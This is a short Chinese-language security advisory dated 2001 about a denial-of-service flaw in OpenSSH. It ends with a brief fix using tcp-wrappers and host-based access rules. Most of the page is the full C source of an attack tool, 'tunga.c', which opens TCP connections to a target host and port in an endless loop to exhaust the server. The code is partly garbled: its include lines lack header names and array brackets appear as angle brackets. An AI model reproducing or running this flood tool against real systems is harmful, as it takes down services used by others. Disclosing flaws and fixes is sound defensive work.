积极预防 及时发现
快速响应 力保恢复
OpenSSH 存在拒绝服务漏洞
发布时间:2001-12-13 信息来源:管理员

发现 OpenSSH 存在拒绝服务漏洞: $ ssh user@somehost.com ssh_exchange_identification: Connection closed by remote host --< Code >-- #include #include #include #include #include #include #include int main (int argc, char *argv<>) { int sd, rc; struct sockaddr_in localAddr, servAddr; struct linger ling; struct hostent *h; if(argc < 3) { printf(\"tunga.c - OpenSSH DoS Attack\\n\"); printf(\"by DrBrain \n"); printf("Phibernet Information Network < http://www.phibernet.org >\n\n"); printf("Usage: %s \n\n",argv<0>); exit(1); } h = gethostbyname(argv<1>); if(h==NULL) { printf("%s: Unknown Host `%s`\n",argv<0>,argv<1>); exit(1); } for(;;) { servAddr.sin_family = h->h_addrtype; memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list<0>, h->h_length); servAddr.sin_port = htons(atoi(argv<2>)); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd<0) { perror(\"Cannot Open Socket \"); exit(1); } rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr)); if(rc<0) { perror(\"Cannot Connect \"); exit(1); } } exit(0); } 解决方案: 编译 SSH 服务器,增加对libwrap(Tcp-wrappers)的支持,再在 /etc/hosts.{allow,deny} 中增加对源地址的控制。